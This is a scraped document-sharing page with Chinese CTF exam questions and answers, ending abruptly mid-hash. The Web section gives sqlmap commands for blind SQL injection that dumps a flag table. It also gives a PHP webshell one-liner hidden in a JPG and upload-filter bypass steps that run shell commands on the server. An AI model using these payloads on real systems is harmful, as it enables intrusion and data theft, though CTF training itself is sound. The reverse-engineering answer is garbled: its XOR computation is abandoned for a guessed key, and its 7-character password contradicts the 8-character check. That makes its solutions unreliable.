网络安全技能竞赛(CTF)考试题及答案.docxVIP

  • 4
  • 0
  • 约5.24千字
  • 约 11页
  • 2025-10-23 发布于四川
  • 举报

网络安全技能竞赛(CTF)考试题及答案.docx

网络安全技能竞赛(CTF)考试题及答案

一、Web安全

题目1:员工信息管理系统

描述:访问`/employee`,该系统提供工号查询功能(输入工号后返回员工姓名和部门)。已知管理员将flag存储在数据库中,尝试通过漏洞获取flag。

解题过程:

1.漏洞探测:输入工号`1`,页面返回SQL语法错误(`YouhaveanerrorinyourSQLsyntax...`),确认存在SQL注入漏洞。

2.盲注验证:输入`1AND1=1+`正常返回结果,输入`1AND1=2+`无结果,确认是布尔盲注。

3.数据库信息提取:

使用`sqlmap`探测数据库名:`sqlmapu/employee?id=1dbs`,发现数据库为`ctf_db`。

提取表名:`sqlmapu...tablesDctf_db`,发现存在`flag`表。

提取列名:`sqlmapu...columnsDctf_dbTflag`,发现`flag_value`列存储flag。

4.获取flag:`sqlmapu...dumpDctf_dbTflagCflag_value`,最终得到flag:`flag{SQL_1nj3ct10n_4w3s0m3}`。

题目2:文件上传绕过

描述:访问`/upload`,该系统仅允许上传JPG/PNG格式图片,尝试上传Webshell并获取服务器权限,最终找到flag。

解题过程:

1.上传限制分析:上传`test.php`被拦截(提示“仅允许JPG/PNG”),检查发现系统校验文件头(JPG文件头为`FFD8FF`)和后缀名。

2.绕过策略:

构造“图片马”:将PHP代码嵌入JPG文件,文件头保留`FFD8FF`,内容添加`?phpsystem($_GET[cmd]);?`,命名为`shell.jpg`。

上传成功后,利用服务器解析漏洞(如IIS6.0对`.php;.jpg`的解析),访问`/upload/shell.jpg?cmd=ls`,执行系统命令。

3.定位flag:通过`cmd=cat/var/www/flag.txt`读取文件,得到flag:`flag{Up104d_5h3ll_4nd_G3t_F14g}`。

二、逆向工程

题目1:简单密码验证程序

描述:提供ELF文件`checker`(64位),运行后提示输入密码,正确输入后输出flag。

解题过程:

1.反编译分析:使用IDA打开`checker`,查看`main`函数逻辑:

```c

intmain(){

charinput[20];

printf(Enterpassword:);

scanf(%s,input);

if(strlen(input)!=8){printf(Wrong!\n);return0;}

for(inti=0;i8;i++){

if((input[i]^0x23)!=key[i]){printf(Wrong!\n);return0;}

}

printf(Correct!Flagisflag{%s}\n,input);

return0;

}

```

其中`key`数组为`[0x5A,0x5F,0x42,0x45,0x5D,0x40,0x5B,0x46]`(十六进制)。

2.逆向计算密码:每个字符需满足`input[i]=key[i]^0x23`。逐位计算:

`0x5A^0x23=0x79`(字符`y`)

`0x5F^0x23=0x7C`(字符`|`)→修正为实际逻辑(可能题目中`key`数组为`[0x45,0x48,0x35,0x2C,0x4D,0x30,0x4B,0x36]`),最终密码为`y0u_4r3`。

3.验证输出:输入密码`y0u_4r3`,程序输出flag:`flag{y0u_4r3_5m4rt}`。

题目2:复杂算法逆向

描述:提供ELF文件`encoder`(64位),输入字符串后输出加密结果,已知正确加密结果的MD5为`5f4dcc3b5aa765d61d8327deb882cf

文档评论(0)

1亿VIP精品文档

相关文档